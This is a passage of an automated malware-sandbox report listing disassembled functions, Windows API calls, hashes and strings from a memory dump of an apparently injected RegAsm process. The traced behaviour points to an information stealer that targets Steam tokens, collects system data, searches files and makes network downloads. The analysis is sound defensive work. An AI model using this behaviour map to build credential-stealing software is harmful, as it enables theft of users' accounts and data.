Part of subcall function 0040554E: HttpOpenRequestA.WININET(?,?,00000000,00000000,-00400100,00000000), ref: 004057D4

Part of subcall function 0041165A: _EH_prolog.MSVCRT ref: 0041165F
Part of subcall function 0041165A: strtok_s.MSVCRT ref: 00411686

Sleep.KERNEL32(000003E8), ref: 004154CC

Part of subcall function 0040554E: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 004057F9

Part of subcall function 0041165A: strtok_s.MSVCRT ref: 004116C6

Part of subcall function 004120B7: _EH_prolog.MSVCRT ref: 004120BC
Part of subcall function 004120B7: memset.MSVCRT ref: 004120D9
Part of subcall function 004120B7: memset.MSVCRT ref: 004120E5
Part of subcall function 004120B7: GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,?,?,00000000), ref: 004120FA
Part of subcall function 004120B7: ShellExecuteEx.SHELL32(0000003C), ref: 0041219B
Part of subcall function 004120B7: memset.MSVCRT ref: 004121A8
Part of subcall function 004120B7: memset.MSVCRT ref: 004121B6
Part of subcall function 004120B7: ExitProcess.KERNEL32 ref: 004121C7

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$H_prolog$Internetlstrcpy$Open$memsetstrtok_s$Process$ExitHeaplstrcatlstrlen$AllocConnectDirectoryExecuteFileHttpInformationModuleNameOptionRequestShellSleepVolumeWindows
String ID:
API String ID: 889611940-0
Opcode ID: c89bc77c972ab5999ecb6953bdb5f26424301c6ff91f643d5df5903c1adc7d6b
Instruction ID: fe4b7213f40a135cc3c091fd98f22f6d84a643e4809717e73fa4f04b18018b20
Opcode Fuzzy Hash: c89bc77c972ab5999ecb6953bdb5f26424301c6ff91f643d5df5903c1adc7d6b
Instruction Fuzzy Hash: 0D229471D00258EADB10EBA5CD47BDDBBB8BF54308F5045AFE54473281EB781B488BA6

Uniqueness

Uniqueness Score: -1.00%

Function 00412DF0 Relevance: 6.1, APIs: 4, Instructions: 76sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00412DF5

Part of subcall function 00411E40: _EH_prolog.MSVCRT ref: 00411E45

Sleep.KERNEL32(000003E8,?,?,?,?,?,00000000), ref: 00412E73
CreateThread.KERNEL32(00000000,00000000,00411D06,?,00000000,00000000), ref: 00412E95
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00412E9D

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$CreateObjectSingleSleepThreadWait
String ID:
API String ID: 2678630583-0
Opcode ID: 0781f3aec980ba46c2b4244cb220e1a05c96d63961bc15f62e29120cc285560b
Instruction ID: 494e63d853049931d52386eba90c4c94ddf19b56ac8686a4fc5aead72adca532
Opcode Fuzzy Hash: 0781f3aec980ba46c2b4244cb220e1a05c96d63961bc15f62e29120cc285560b
Instruction Fuzzy Hash: B5318475800248DFCB01DFE5D995ADDBBB8FF18304F10452EF802A3281DB789A49CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0040EB34 Relevance: 6.0, APIs: 4, Instructions: 35memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413901,00000000,?,Processor: ,00000000,?,[Hardware],00000000,?,004244D8), ref: 0040EB48
HeapAlloc.KERNEL32(00000000,?,?,?,00413901,00000000,?,Processor: ,00000000,?,[Hardware],00000000,?,004244D8,00000000,?), ref: 0040EB4F
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00000000,?,?,?,00413901,00000000,?,Processor: ,00000000,?,[Hardware],00000000,?), ref: 0040EB6D
RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,000000FF,?,?,?,00413901,00000000,?,Processor: ,00000000,?,[Hardware],00000000), ref: 0040EB89

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: 9faebf2de75bf63b99fbadaceea92aed034a018285eddf57d64b14fdac7aec56
Instruction ID: e3f04ec81fb0d82207db95a4a8b5f8b9dfd52d79b5d5dcd3a1f59ae813cd2a02
Opcode Fuzzy Hash: 9faebf2de75bf63b99fbadaceea92aed034a018285eddf57d64b14fdac7aec56
Instruction Fuzzy Hash: 25F05475640204FFEB149F91EC0EF6E7A7EEB44B54F101065FB01A51A0D7B19911DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00412EEB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00412EF0

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

lstrlen.KERNEL32(00000000,00000000,?,00000000,004243B6), ref: 00412F41

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 00412DF0: _EH_prolog.MSVCRT ref: 00412DF5
Part of subcall function 00412DF0: CreateThread.KERNEL32(00000000,00000000,00411D06,?,00000000,00000000), ref: 00412E95
Part of subcall function 00412DF0: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00412E9D

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

Soft\Steam\steam_tokens.txt, xrefs: 00412F59

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrlen$CreateObjectSingleThreadWaitlstrcat
String ID: Soft\Steam\steam_tokens.txt
API String ID: 40794102-3507145866
Opcode ID: 916277f7bd73e23a53ab59b86d582b9615f7cfef9cd3b3aa8ba091ba20396997
Instruction ID: 24f7f34573929f25dd8be66f32dc73e0837188d3ff52bcfa25b04edc4c27a69a
Opcode Fuzzy Hash: 916277f7bd73e23a53ab59b86d582b9615f7cfef9cd3b3aa8ba091ba20396997
Instruction Fuzzy Hash: 2A214271C00148EACB05EBE6CD467DDBB78AF18308F50496EE411731D2EB785718C6A6

Uniqueness

Uniqueness Score: -1.00%

Function 00414D5C Relevance: 4.6, APIs: 3, Instructions: 120stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00414D61

Part of subcall function 0040FA35: SHGetFolderPathA.SHELL32(00000000,f;B,00000000,00000000,?), ref: 0040FA66

lstrcat.KERNEL32(?,00000000), ref: 00414DA3
lstrcat.KERNEL32(?), ref: 00414DC2

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 00414B02: _EH_prolog.MSVCRT ref: 00414B07
Part of subcall function 00414B02: wsprintfA.USER32 ref: 00414B26
Part of subcall function 00414B02: FindFirstFileA.KERNEL32(?,?), ref: 00414B3D
Part of subcall function 00414B02: StrCmpCA.SHLWAPI(?,00424708), ref: 00414B5A
Part of subcall function 00414B02: StrCmpCA.SHLWAPI(?,0042470C), ref: 00414B74
Part of subcall function 00414B02: wsprintfA.USER32 ref: 00414B98
Part of subcall function 00414B02: StrCmpCA.SHLWAPI(?,00424386), ref: 00414BA9
Part of subcall function 00414B02: wsprintfA.USER32 ref: 00414BC6
Part of subcall function 00414B02: PathMatchSpecA.SHLWAPI(?,?), ref: 00414BED
Part of subcall function 00414B02: lstrcat.KERNEL32(?,?), ref: 00414C19
Part of subcall function 00414B02: lstrcat.KERNEL32(?,00424724), ref: 00414C2B
Part of subcall function 00414B02: lstrcat.KERNEL32(?,?), ref: 00414C3B
Part of subcall function 00414B02: lstrcat.KERNEL32(?,00424728), ref: 00414C4D
Part of subcall function 00414B02: lstrcat.KERNEL32(?,?), ref: 00414C61

Part of subcall function 00414B02: wsprintfA.USER32 ref: 00414BDA
Part of subcall function 00414B02: FindNextFileA.KERNEL32(00000000,?), ref: 00414D2E
Part of subcall function 00414B02: FindClose.KERNEL32(00000000), ref: 00414D3D

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$H_prologwsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID:
API String ID: 25485560-0
Opcode ID: b83dd810a9364516fbe2db35aa8a491b8572a4007cd76ff5f79591d12cb4a5af
Instruction ID: 462cb5f0657dd0902482f0bbfda81851e7b8b623cf77e0019db5478fe703fac9
Opcode Fuzzy Hash: b83dd810a9364516fbe2db35aa8a491b8572a4007cd76ff5f79591d12cb4a5af
Instruction Fuzzy Hash: B141B1B1D00209ABCF11EFA1DC43EED7B7DFB48314F40056AF944A21A1EB3997998B95

Uniqueness

Uniqueness Score: -1.00%

Function 6CD53060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CD53095

Part of subcall function 6CD535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CDDF688,00001000), ref: 6CD535D5
Part of subcall function 6CD535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CD535E0
Part of subcall function 6CD535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CD535FD
Part of subcall function 6CD535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CD5363F
Part of subcall function 6CD535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CD5369F
Part of subcall function 6CD535A0: __aulldiv.LIBCMT ref: 6CD536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CD5309F

Part of subcall function 6CD75B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CD756EE,?,00000001), ref: 6CD75B85
Part of subcall function 6CD75B50: EnterCriticalSection.KERNEL32(6CDDF688,?,?,?,6CD756EE,?,00000001), ref: 6CD75B90
Part of subcall function 6CD75B50: LeaveCriticalSection.KERNEL32(6CDDF688,?,?,?,6CD756EE,?,00000001), ref: 6CD75BD8
Part of subcall function 6CD75B50: GetTickCount64.KERNEL32 ref: 6CD75BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CD530BE

Part of subcall function 6CD530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CD53127
Part of subcall function 6CD530F0: __aulldiv.LIBCMT ref: 6CD53140

Part of subcall function 6CD8AB2A: __onexit.LIBCMT ref: 6CD8AB30

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 036d6601e510767a808ed12b7f94d4ad900f7fe405543e556448a8bb58243a5c
Instruction ID: 33028221947c5925d76fee4bd0e1aec80a1f1787b99c215f0d2fb81e590f2f57
Opcode Fuzzy Hash: 036d6601e510767a808ed12b7f94d4ad900f7fe405543e556448a8bb58243a5c
Instruction Fuzzy Hash: D0F0F912D2074897EB10DF7488412F6B37CAF6B114F545319F94563A71FB3071D883A2

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD15 Relevance: 4.5, APIs: 3, Instructions: 28COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,004132F7), ref: 0040FD2D
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 0040FD48
CloseHandle.KERNEL32(00000000), ref: 0040FD4F

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: a1be9c292a21e3b36d8d3b7a294f7bc33be883066089ef5cbd375d07314a2212
Instruction ID: a18e71a4dd7870f1d49f2e211ea1a3ceb5d655b4dbad758c60889a72c4aa7de9
Opcode Fuzzy Hash: a1be9c292a21e3b36d8d3b7a294f7bc33be883066089ef5cbd375d07314a2212
Instruction Fuzzy Hash: C1F03076901218BBDB21AB50DC09FDA3B69AF04755F004461FA45A61D0DBB4AA848BD4

Uniqueness

Uniqueness Score: -1.00%

Function 00410AA3 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 514COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00410AA8

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Part of subcall function 0040E685: _EH_prolog.MSVCRT ref: 0040E68A
Part of subcall function 0040E685: lstrcpy.KERNEL32(00000000), ref: 0040E6D6
Part of subcall function 0040E685: lstrcat.KERNEL32(?,?), ref: 0040E6E0

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 004051CC: _EH_prolog.MSVCRT ref: 004051D1
Part of subcall function 004051CC: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405220
Part of subcall function 004051CC: StrCmpCA.SHLWAPI(?), ref: 0040523A
Part of subcall function 004051CC: InternetOpenUrlA.WININET(?,00000000,00000000,00000000,-00800100,00000000), ref: 0040525E
Part of subcall function 004051CC: CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 0040527F
Part of subcall function 004051CC: InternetReadFile.WININET(00000000,?,00000400,?), ref: 004052CA
Part of subcall function 004051CC: CloseHandle.KERNEL32(?,?,00000400), ref: 004052E4
Part of subcall function 004051CC: InternetCloseHandle.WININET(00000000), ref: 004052EB
Part of subcall function 004051CC: InternetCloseHandle.WININET(?), ref: 004052F4

Part of subcall function 004051CC: WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004052A6

Strings

3, xrefs: 00411147

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologInternetlstrcpy$CloseFileHandle$Openlstrcat$CreateReadWritelstrlen
String ID: 3
API String ID: 1244342732-1842515611
Opcode ID: 8c486da19f225c65a79977964eebbe0f3b7b5325b1fabedea7cb2b4400d98bf8
Instruction ID: c32ba2858f258bf3bb61ae01e984c317e144a481bc8e927dd743ac40b1be5afe
Opcode Fuzzy Hash: 8c486da19f225c65a79977964eebbe0f3b7b5325b1fabedea7cb2b4400d98bf8
Instruction Fuzzy Hash: B0327030C04288EADB05E7E6C955BDDBBB45F29308F5048AEE445732C2EF791B18DB66

Uniqueness

Uniqueness Score: -1.00%

Function 0040AB3E Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 155COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040AB43

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Part of subcall function 0040FA35: SHGetFolderPathA.SHELL32(00000000,f;B,00000000,00000000,?), ref: 0040FA66

Part of subcall function 0040E685: _EH_prolog.MSVCRT ref: 0040E68A
Part of subcall function 0040E685: lstrcpy.KERNEL32(00000000), ref: 0040E6D6
Part of subcall function 0040E685: lstrcat.KERNEL32(?,?), ref: 0040E6E0

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Part of subcall function 0040F9F1: _EH_prolog.MSVCRT ref: 0040F9F6
Part of subcall function 0040F9F1: GetFileAttributesA.KERNEL32(00000000,?,0040D3CF,?,?,?,?), ref: 0040FA0A

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 00410AA3: _EH_prolog.MSVCRT ref: 00410AA8

Part of subcall function 004068CC: _EH_prolog.MSVCRT ref: 004068D1
Part of subcall function 004068CC: GetEnvironmentVariableA.KERNEL32(C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,00000000,?), ref: 004068F1
Part of subcall function 004068CC: SetEnvironmentVariableA.KERNEL32(00000000,00000000,?,?,?,00423A8C,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00423A87), ref: 00406969
Part of subcall function 004068CC: LoadLibraryA.KERNEL32 ref: 00406980

Part of subcall function 0040970D: _EH_prolog.MSVCRT ref: 00409712
Part of subcall function 0040970D: FindFirstFileA.KERNEL32(00000000,?,00000000,?,00423CE8,?,?,00423AE7,00000000), ref: 0040978F
Part of subcall function 0040970D: StrCmpCA.SHLWAPI(?,00423CEC), ref: 004097AC
Part of subcall function 0040970D: StrCmpCA.SHLWAPI(?,00423CF0), ref: 004097C6
Part of subcall function 0040970D: StrCmpCA.SHLWAPI(?,00000000,?,?,?,00423CF4,?,?,00423AEA), ref: 0040985D

Strings

\..\, xrefs: 0040AC09

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$EnvironmentFileVariablelstrcat$AttributesFindFirstFolderLibraryLoadPathlstrlen
String ID: \..\
API String ID: 1701172651-4220915743
Opcode ID: 7f795ba0587c5c250ac04c9c4f29f9028bf64d9e3d815e6b8b6f89d1b262f8f5
Instruction ID: de1799ec2468f2602cff296b1f634fa00bfe96c0e6615ae3ef595513e28a817f
Opcode Fuzzy Hash: 7f795ba0587c5c250ac04c9c4f29f9028bf64d9e3d815e6b8b6f89d1b262f8f5
Instruction Fuzzy Hash: 61518070C00288EADB05EBE6D9067DDBBB46F28308F54496EE845732C2EB785718C666

Uniqueness

Uniqueness Score: -1.00%

Function 00406180 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000002,00000002,?,00000000,?,?,004062AF), ref: 004061FF

Strings

, xrefs: 004061D2

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-3916222277
Opcode ID: a9ca3820c71c3eda37ba079eb7877add819211e6f4f865b059153334e2d250ef
Instruction ID: 1c892984225ca687d269746aa3563b4b01a644e3aa4f448d2164c566147b4ab8
Opcode Fuzzy Hash: a9ca3820c71c3eda37ba079eb7877add819211e6f4f865b059153334e2d250ef
Instruction Fuzzy Hash: F011BF71104509EADB20CF94CA847AAB3E4FB00340F12486AD543EA2C2C738DA66DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040FA35 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,f;B,00000000,00000000,?), ref: 0040FA66

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Strings

f;B, xrefs: 0040FA62

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
